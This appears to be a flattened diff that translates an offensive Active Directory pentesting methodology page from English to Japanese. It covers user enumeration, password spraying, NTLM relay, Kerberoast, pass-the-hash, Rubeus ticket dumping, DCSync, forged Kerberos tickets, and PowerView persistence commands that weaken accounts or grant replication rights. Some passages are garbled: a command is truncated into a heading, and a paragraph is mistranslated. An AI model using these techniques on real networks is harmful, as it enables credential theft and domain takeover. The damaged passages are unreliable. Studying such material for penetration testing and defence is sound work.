**TGT in a AS-REP** response or the error _KRB5KDC\_ERR\_PREAUTH\_REQUIRED_, indicating that the user is required to perform pre-authentication. +### ユーザー列挙 +* **匿名SMB/LDAP列挙:** [**SMBのペントesting**](../../network-services-pentesting/pentesting-smb.md)と[**LDAPのペントesting**](../../network-services-pentesting/pentesting-ldap.md)ページを確認してください。 +* **Kerbrute列挙:** **無効なユーザー名が要求**されると、サーバーは**Kerberosエラー**コード_KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN_を使用して応答し、ユーザー名が無効であることを判断できます。**有効なユーザー名**は、AS-REP応答内の**TGT**またはエラー_KRB5KDC\_ERR\_PREAUTH\_REQUIRED_を引き起こし、ユーザーが事前認証を実行する必要があることを示します。 ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -100,11 +77,9 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq ``` +* **OWA (Outlook Web Access) サーバー** -* **OWA (Outlook Web Access) Server** - -If you found one of these servers in the network you can also perform **user enumeration against it**. For example, you could use the tool [**MailSniper**](https://github.com/dafthack/MailSniper): - +ネットワーク内でこのようなサーバーを見つけた場合、それに対して**ユーザー列挙を実行する**こともできます。例えば、[**MailSniper**](https://github.com/dafthack/MailSniper)というツールを使用することができます。 ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -116,102 +91,93 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe # Get addresses list from the compromised mail Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` - {% hint style="warning" %} -You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). +[**このGitHubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)と[**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)にユーザー名のリストがあります。 -However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames. +ただし、これより前の調査ステップで会社で働いている人々の**名前を知っている**必要があります。名前と姓を持っていれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して潜在的な有効なユーザー名を生成できます。 {% endhint %} -### Knowing one or several usernames +### 1つまたは複数のユーザー名を知っている場合 -Ok, so you know you have already a valid username but no passwords... Then try: +すでに有効なユーザー名を持っているが、パスワードがわからない場合は、次の方法を試してみてください: -* [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT\_REQ\_PREAUTH_ you can **request a AS\_REP message** for that user that will contain some data encrypted by a derivation of the password of the user. -* [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!). - * Note that you can also **spray OWA servers** to try to get access to the users mail servers. +* [**ASREPRoast**](asreproast.md):ユーザーが属性_DONT_REQ_PREAUTH_を持っていない場合、そのユーザーのAS_REPメッセージをリクエストできます。このメッセージには、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。 +* [**パスワードスプレー**](password-spraying.md):発見された各ユーザーに対して最も**一般的なパスワード**を試してみてください。おそらく、いくつかのユーザーが弱いパスワードを使用しているかもしれません(パスワードポリシーに注意してください)。 +* ユーザーのメールサーバーへのアクセスを試みるために、OWAサーバーにも**スプレー**を行うことができます。 {% content-ref url="password-spraying.md" %} [password-spraying.md](password-spraying.md) {% endcontent-ref %} -### LLMNR/NBT-NS Poisoning +### LLMNR/NBT-NSポイズニング -You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**: +ネットワークのいくつかのプロトコルを**ポイズニング**することで、いくつかのチャレンジ**ハッシュ**を取得できるかもしれません: {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} -### NTML Relay +### NTMLリレー -If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* to get access to the AD env. +Active Directoryを列挙するためには、**Active Directoryの列挙ツール**を使用することができます。これにより、**メールアドレスが増え、ネットワークの理解が深まる**かもしれません。NTML [**リレーアタック**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)を強制することで、AD環境へのアクセスを取得できるかもしれません。 -### Steal NTLM Creds +### NTLMクレデンシャルの盗難 -If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTML authentication against you** so you can **steal** the **NTLM challenge** to crack it: +**nullまたはguestユーザー**を使用して他のPCや共有にアクセスできる場合、SCFファイルなどの**ファイルを配置**することができます。これらのファイルがいずれかの方法でアクセスされると、あなたに対してNTML認証がトリガーされるため、NTLMチャレンジを**盗む**ことができます。 {% content-ref url="../ntlm/places-to-steal-ntlm-creds.md" %} [places-to-steal-ntlm-creds.md](../ntlm/places-to-steal-ntlm-creds.md) {% endcontent-ref %} -## Enumerating Active Directory WITH credentials/session +## 認証情報/セッションを使用してActive Directoryを列挙する -For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**. +このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害**する必要があります。有効な認証情報またはドメインユーザーとしてのシェルを持っている場合、前述のオプションは他のユーザーを侵害するためのオプションとして引き続き使用できます。 -Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.** +認証された列挙を開始する前に、**Kerberosのダブルホップ問題**を理解しておく必要があります。 {% content-ref url="kerberos-double-hop-problem.md" %} [kerberos-double-hop-problem.md](kerberos-double-hop-problem.md) {% endcontent-ref %} -### Enumeration +### 列挙 -Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:** +アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**Active Directoryの列挙**を開始できるからです: -Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords. +[**ASREPRoast**](asreproast.md)に関しては、可能な脆弱なユーザーをすべて見つけることができます。[**パスワードスプレー**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、および有望な新しいパスワードを試すことができます。 -* You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) -* You can also use [**powershell for recon**](../basic-powershell-for-pentesters/) which will be stealthier -* You ca also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information -* Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc. - * **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** -* \*\*\*\*[**DNS records of the AD**](ad-dns-records.md) \*\*\*\* as they might contain interesting information. -* A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite. -* You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods. -* If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview). -* You could also try automated tools as: - * [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - * [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -* **Extracting all domain users** +* [**基本的なリコンのためのCMD**](../basic-cmd-for-pentesters.md#domain-info)を使用することができます。 +* よりステルス性の高い[**powershell for recon**](../basic-powershell-for-pentesters/)を使用することもできます。 +* [**powerview**を使用](../basic-powershell-for-pentesters/powerview.md)して詳細な情報を抽出することもできます。 +* Active Directoryでのリコンには、[**BloodHound**](bloodhound.md)という素晴らしいツールもあります。**ステルス性はあまり高くありません**(使用する収集方法によります)が、それを気にしないのであれば、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりできます。 +* **他の自動化されたAD列挙ツールには、**[**AD Explorer**](bloodhound.md#ad-explorer)**、**[**ADRecon**](bloodhound.md#adrecon)**、**[**Group3r**](bloodhound.md#group3r)**、**[**PingCastle**](bloodhound.md#pingcastle)**があります。** +* **ADのDNSレコード**(ad-dns-records.md)には興味深い情報が含まれている場合があります。 +* ディレクトリを列挙するための**GUIツール**として、**SysInternal** Suiteの**AdExplorer.exe**を使用することができます。 +* **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_&_unixUserPassword_フィールド、または_Description_フィールドなどの資格情報を検索することもできます。他の方法については、[PayloadsAllTheThingsのAD User commentのPassword](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)を参照してください。 +* **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。 +* 以下の自動化ツールも試すことができます: +* [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) +* [**61106960/adPEAS**](https://github.com/61106960/adPEAS) +* **すべてのドメインユーザーを抽出する** - It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" ` +Windowsでは、非常に簡単にドメインのユーザー名を取得できます(`net user /domain`、`Get-DomainUser`、または`wmic useraccount get name,sid`)。Linuxでは、次のコマンドを使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a +### Kerberoast(Kerberoast) -> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done. +Kerberoastの目的は、ドメインユーザーアカウントの代わりに実行されるサービスのためのTGSチケットを収集することです。これらのTGSチケットの一部は、ユーザーパスワードから派生したキーで暗号化されています。その結果、これらの資格情報はオフラインでクラックされる可能性があります。 +詳細については、[kerberoast.md](kerberoast.md)を参照してください。 -### Kerberoast +### リモート接続(RDP、SSH、FTP、Win-RMなど) -The goal of Kerberoasting is to harvest **TGS tickets for services that run on behalf of domain user accounts**. Part of these TGS tickets are **encrypted wit keys derived from user passwords**. As a consequence, their credentials could be **cracked offline**.\ -More about this in: +いくつかの資格情報を入手したら、どのマシンにアクセスできるかを確認できます。そのために、ポートスキャンに応じて、さまざまなプロトコルを使用していくつかのサーバーに接続を試みるために、CrackMapExecを使用することができます。 -{% content-ref url="kerberoast.md" %} -[kerberoast.md](kerberoast.md) -{% endcontent-ref %} +### ローカル特権昇格 -### Remote connexion (RDP, SSH, FTP, Win-RM, etc) +もし、侵害された資格情報や通常のドメインユーザーとしてのセッションがあり、ドメイン内の任意のマシンにこのユーザーでアクセスできる場合、ローカル特権昇格の方法を見つけて特権を昇格させ、資格情報を盗むことを試すべきです。これは、ローカル管理者特権を持っている場合にのみ、メモリ(LSASS)およびローカル(SAM)の他のユーザーのハッシュをダンプすることができるからです。 -Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans. +この本には、[Windowsのローカル特権昇格に関する完全なページ](../windows-local-privilege-escalation/)と[チェックリスト](../checklist-windows-privilege-escalation.md)があります。また、[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することも忘れないでください。 -### Local Privilege Escalation - -If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM). - -There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). - -### Current Session Tickets - -It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check: +### 現在のセッションチケット +現在のユーザーのチケットには、予期しないリソースへのアクセス権が与えられることは非常にまれですが、確認することができます。 ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -219,20 +185,19 @@ It's very **unlikely** that you will find **tickets** in the current user **givi .\Rubeus.exe dump /service:krbtgt /luid: /nowrap [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("")) ``` - ### NTML Relay -If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +アクティブディレクトリの列挙に成功した場合、**より多くのメールとネットワークの理解**を持つことができます。NTML [**リレーアタック**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**を強制する**ことができるかもしれません。 -### **Looks for Creds in Computer Shares** +### コンピュータ共有内の資格情報を探す -Now that you have some basic credentials you should check if you can **find** any **interesting files being shared inside the AD**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check). +基本的な資格情報を入手したら、AD内で**共有されている興味深いファイル**がないか確認してみるべきです。これは手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に数百のドキュメントをチェックする場合はさらにそうです)。 -[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb.md#domain-shared-folders-search) +[**こちらのリンクを参照して使用できるツールについて学びましょう。**](../../network-services-pentesting/pentesting-smb.md#domain-shared-folders-search) -### Steal NTLM Creds +### NTLM資格情報の盗み出し -If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTML authentication against you** so you can **steal** the **NTLM challenge** to crack it: +他のPCや共有に**アクセスできる場合**、SCFファイルなどの**ファイルを配置**することができます。これが何らかの方法でアクセスされると、**NTML認証がトリガー**され、それによって**NTLMチャレンジ**を盗み出してクラックすることができます。 {% content-ref url="../ntlm/places-to-steal-ntlm-creds.md" %} [places-to-steal-ntlm-creds.md](../ntlm/places-to-steal-ntlm-creds.md) @@ -240,112 +205,105 @@ If you can **access other PCs or shares** you could **place files** (like a SCF ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -This vulnerability allowed any authenticated user to **compromise the domain controller**. +この脆弱性により、認証済みのユーザーはドメインコントローラーを**危険にさらす**ことができました。 {% content-ref url="printnightmare.md" %} [printnightmare.md](printnightmare.md) {% endcontent-ref %} -## Privilege escalation on Active Directory WITH privileged credentials/session +## 特権昇格(特権付きの資格情報/セッションを使用した)Active Directory -**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.** +**以下のテクニックでは、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/資格情報が必要です。** -### Hash extraction +### ハッシュの抽出 -Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\ -Then, its time to dump all the hashes in memory and locally.\ -[**Read this page about different ways to obtain the hashes.**](broken-reference) +[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(リレーを含む)、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[特権の昇格(ローカル)](../windows-local-privilege-escalation/)を使用して、いくつかのローカル管理者アカウントを**侵害**することができたことを願っています。\ +その後、メモリとローカルに保存されているすべてのハッシュをダンプする時が来ました。\ +[**異なる方法でハッシュを取得するためのこのページを読んでください。**](broken-reference) -### Pass the Hash +### ハッシュの渡し -**Once you have the hash of a user**, you can use it to **impersonate** it.\ -You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\ -[**Read this page for more information.**](../ntlm/#pass-the-hash) +**ユーザーのハッシュを取得したら**、それを**なりすまし**に使用することができます。\ +その**ハッシュを使用して**NTLM認証を**実行するツール**を使用する必要があります。または、新しい**セッションログオン**を作成し、その**ハッシュ**を**LSASS**に**注入**することもできます。そのため、**NTLM認証が実行されると、そのハッシュが使用されます。**最後のオプションは、mimikatzが行うことです。\ +[**詳細については、このページを読んでください。**](../ntlm/#pass-the-hash) ### Over Pass the Hash/Pass the Key -This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol. +この攻撃は、一般的なPass The Hash over NTLMプロトコルの代わりに、ユーザーのNTLMハッシュを使用してKerberosチケットを要求することを目的としています。したがって、これは特にNTLMプロトコルが無効化され、認証プロトコルとしてKerberosのみが許可されているネットワークで特に**有用**です。 {% content-ref url="over-pass-the-hash-pass-the-key.md" %} [over-pass-the-hash-pass-the-key.md](over-pass-the-hash-pass-the-key.md) {% endcontent-ref %} -### Pass the Ticket +### チケットの渡し -This attack is similar to Pass the Key, but instead of using hashes to request a ticket, the **ticket itself is stolen** and used to authenticate as its owner. +この攻撃はPass the Keyと似ていますが、ハッシュを使用してチケットを要求する代わりに、**チケット自体が盗まれ**、所有者として認証に使用されます。 {% content-ref url="pass-the-ticket.md" %} [pass-the-ticket.md](pass-the-ticket.md) {% endcontent-ref %} -### Credentials Reuse - -If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it. +### 資格情報の再利用 +ローカル管理者の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルログイン**を試みるべきです。 ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` - {% hint style="warning" %} -Note that this is quite **noisy** and **LAPS** would **mitigate** it. +これはかなり**ノイズが多い**です。**LAPS**を使用すると、これを**軽減**することができます。 {% endhint %} -### MSSQL Abuse & Trusted Links +### MSSQLの乱用と信頼されたリンク -If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA), **steal** the NetNTLM **hash** or even perform a **relay** **attack**.\ -Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. These trusts can be chained and at some point the user might be able to find a misconfigured database where he can execute commands.\ -**The links between databases work even across forest trusts.** +ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、それを使用してMSSQLホストで**コマンドを実行**したり、NetNTLM **ハッシュを盗む**ことができるかもしれません。また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合。ユーザーが信頼されたデータベースに対する特権を持っている場合、他のインスタンスでもクエリを実行するために信頼関係を使用することができます。これらの信頼関係はチェーン化することができ、ユーザーはコマンドを実行できる設定の誤ったデータベースを見つけることができるかもしれません。**データベース間のリンクはフォレスト間の信頼でも機能します。** {% content-ref url="abusing-ad-mssql.md" %} [abusing-ad-mssql.md](abusing-ad-mssql.md) {% endcontent-ref %} -### Unconstrained Delegation +### 制約のない委任 -If you find any Computer object with the attribute [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\ -So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](pass-the-ticket.md).\ -Thanks to constrained delegation you could even **automatically compromise a Print Server** (hopefully it will be a DC). +[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)属性を持つコンピュータオブジェクトを見つけ、コンピュータにドメイン特権がある場合、そのコンピュータにログインするすべてのユーザーのメモリからTGTをダンプすることができます。したがって、**ドメイン管理者がコンピュータにログインする**場合、彼のTGTをダンプして[チケットを渡す](pass-the-ticket.md)ことで彼をなりすますことができます。制約のある委任により、**プリントサーバーを自動的に侵害**することさえできます(DCであることを願っています)。 {% content-ref url="unconstrained-delegation.md" %} [unconstrained-delegation.md](unconstrained-delegation.md) {% endcontent-ref %} -### Constrained Delegation +### 制約のある委任 -If a user or computer is allowed for "Constrained Delegation" it will be able to **impersonate any user to access some services in a computer**.\ -Then, if you **compromise the hash** of this user/computer you will be able to **impersonate any user** (even domain admins) to access some services. +ユーザーまたはコンピュータが「制約のある委任」を許可されている場合、そのユーザー/コンピュータはコンピュータ内の一部のサービスにアクセスするために**任意のユーザーをなりすます**ことができます。その後、このユーザー/コンピュータのハッシュを**侵害する**と、一部のサービスにアクセスするために**任意のユーザー**(ドメイン管理者でさえ)をなりすますことができます。 {% content-ref url="constrained-delegation.md" %} [constrained-delegation.md](constrained-delegation.md) {% endcontent-ref %} -### Resourced-based Constrain Delegation +### リソースベースの制約委任 -It's possible to gain code execution with **elevated privileges on a remote computer if you have WRITE privilege** on that computer's AD object. +リモートコンピュータで**WRITE権限**を持っている場合、リモートコンピュータで**昇格権限を持つコードを実行**することができます。 {% content-ref url="resource-based-constrained-delegation.md" %} [resource-based-constrained-delegation.md](resource-based-constrained-delegation.md) {% endcontent-ref %} -### ACLs Abuse +### ACLの乱用 -The compromised user could have some **interesting privileges over some domain objects** that could let you **move** laterally/**escalate** privileges. +侵害されたユーザーには、**ドメインオブジェクトに対する興味深い特権**がある場合があります。これにより、横方向に**移動**したり、特権を**エスカレート**したりすることができます。 {% content-ref url="acl-persistence-abuse/" %} [acl-persistence-abuse](acl-persistence-abuse/) {% endcontent-ref %} -### Printer Spooler service abuse +### プリンタースプーラーサービスの乱用 -If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.\ -[**More information about how to abuse Spooler services here.**](printers-spooler-service-abuse.md) +ドメイン内で**Spoolサービスがリッスン**している場合、それを**乱用**して新しい資格情報を**取得**し、特権を**エスカレート**することができるかもしれません。\ +[**Spoolerサービスの乱用方法の詳細はこちら**](printers-spooler-service-abuse.md) -### Third party sessions abuse +### サードパーティのセッションの乱用 -If **other users** **access** the **compromised** machine, it's possible to **gather credentials from memory** and even **inject beacons in their processes** to impersonate them.\ -Usually users will access the system via RDP, so here you have how to performa couple of attacks over third party RDP sessions: +**他のユーザー**が**侵害された**マシンに**アクセス**する場合、メモリから**資格情報を収集**し、さらには彼らのプロセスに**ビーコンをインジェクト**して彼らをなりすますことができます。\ +通常、ユーザーはRDP経由でシステムにアクセスしますので、ここではサードパーティのRDPセッションに対していくつかの攻撃を実行する方法があります。 {% content-ref url="rdp-sessions-abuse.md" %} [rdp-sessions-abuse.md](rdp-sessions-abuse.md) @@ -353,142 +311,141 @@ Usually users will access the system via RDP, so here you have how to performa c ### LAPS -**LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If you have **enough permission to read these passwords you could move to other computers**. +**LAPS**を使用すると、ドメインに参加しているコンピュータの**ローカル管理者パスワード**(**ランダム化**、一意で**定期的に変更**される)を**管理**することができます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されます。これらのパスワードを読み取るための**十分な権限がある場合、他のコンピュータに移動**することができます。 {% content-ref url="laps.md" %} [laps.md](laps.md) {% endcontent-ref %} -### Certificate Theft +### 証明書の窃取 -Gathering certificates from the compromised machine could be a way to escalate privileges inside the environment: +侵害されたマシンから証明書を収集することは、環境内で特権をエスカレートする方法です。 {% content-ref url="ad-certificates/certificate-theft.md" %} [certificate-theft.md](ad-certificates/certificate-theft.md) {% endcontent-ref %} -### Certificate Templates Abuse +### 証明書テンプレートの乱用 -If vulnerable templates are configured it's possible to abuse them to escalate privileges: +脆弱なテンプレートが構成されている場合、特権をエスカレートするためにそれらを乱用することができます。 {% content-ref url="ad-certificates/domain-escalation.md" %} [domain-escalation.md](ad-certificates/domain-escalation.md) {% endcontent-ref %} -## Post-exploitation with high privilege account +## 高特権アカウントでのポストエクスプロイテーション -### Dumping Domain Credentials +### ドメイン資格情報のダンプ -Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: _ntds.dit_. +**ドメイン管理者**またはさらに**エンタープライズ管理者**特権を取得した場合、**ドメインデータベース**(_ntds.dit_)を**ダンプ**することができます。 -[**More information about DCSync attack can be found here**](dcsync.md). +[**DCSync攻撃の詳細についてはこちら**](dcsync.md)を参照してください。 -[**More information about how to steal the NTDS.dit can be found here**](broken-reference) +[**NTDS.ditを盗む方法の詳細についてはこちら**](broken-reference) -### Privesc as Persistence +### 特権昇格としての永続化 -Some of the techniques discussed before can be used for persistence.\ -For example you could: +以前に議論されたいくつかの技術は永続化に使用することができます。\ +例えば、次のようにすることができます。 -* Make users vulnerable to [**Kerberoast**](kerberoast.md) +* ユーザーを[Kerberoast](kerberoast.md)に対して脆弱にする - ```powershell - Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r - ``` -* Make users vulnerable to [**ASREPRoast**](asreproast.md) +```powershell +Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r +``` +* ユーザーを[ASREPRoast](asreproast.md)に対して脆弱にする - ```powershell - Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} - ``` -* Grant [**DCSync**](./#dcsync) privileges to a user +```powershell +Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} +``` +* ユーザーに[DCSync](./#dcsync)特権を付与する - ```powershell - Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync - ``` +```powershell +Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync +``` -### Silver Ticket +### シルバーチケット -The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** (like the **PC account hash**). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user** (like privileged access to a computer). +シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に有効なTGSを作成**することに基づいています。したがって、特権アクセスを持つユーザーとしてカスタムTGSを偽造することで、そのサービスにアクセスすることができます。 {% content-ref url="silver-ticket.md" %} [silver-ticket.md](silver-ticket.md) {% endcontent-ref %} +### ゴールデンチケット -### Golden Ticket - -A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** (or machine) in the domain ad the impersonated user. +有効な**TGTとして任意のユーザー**を作成することができます。これは、krbtgt ADアカウントのNTLMハッシュを使用して行われます。TGSを偽造するよりもTGTを偽造することの利点は、なんらかのサービス(またはマシン)にアクセスできることです。これは、なりすましユーザーとしてのアクセス権を持つことを意味します。 {% content-ref url="golden-ticket.md" %} [golden-ticket.md](golden-ticket.md) {% endcontent-ref %} -### Diamond Ticket +### ダイヤモンドチケット -These are like golden tickets forged in a way that **bypasses common golden tickets detection mechanisms.** +これらは、一般的なゴールデンチケットの検出メカニズムを**バイパスする方法で偽造されたゴールデンチケット**のようなものです。 {% content-ref url="diamond-ticket.md" %} [diamond-ticket.md](diamond-ticket.md) {% endcontent-ref %} -### **Certificates Account Persistence** +### **証明書アカウントの永続性** -**Having certificates of an account or being able to request them** is a very good way to be able to persist in the users account (even if he changes the password): +**アカウントの証明書を持っているか、それらを要求できる**ということは、ユーザーアカウントで永続性を持つ非常に良い方法です(パスワードを変更しても)。 {% content-ref url="ad-certificates/account-persistence.md" %} [account-persistence.md](ad-certificates/account-persistence.md) {% endcontent-ref %} -### **Certificates Domain Persistence** +### **証明書ドメインの永続性** -**Using certificates is also possible to persist with high privileges inside the domain:** +**証明書を使用することで、ドメイン内で高い特権を持つことも可能です**。 {% content-ref url="ad-certificates/domain-persistence.md" %} [domain-persistence.md](ad-certificates/domain-persistence.md) {% endcontent-ref %} -### AdminSDHolder Group +### 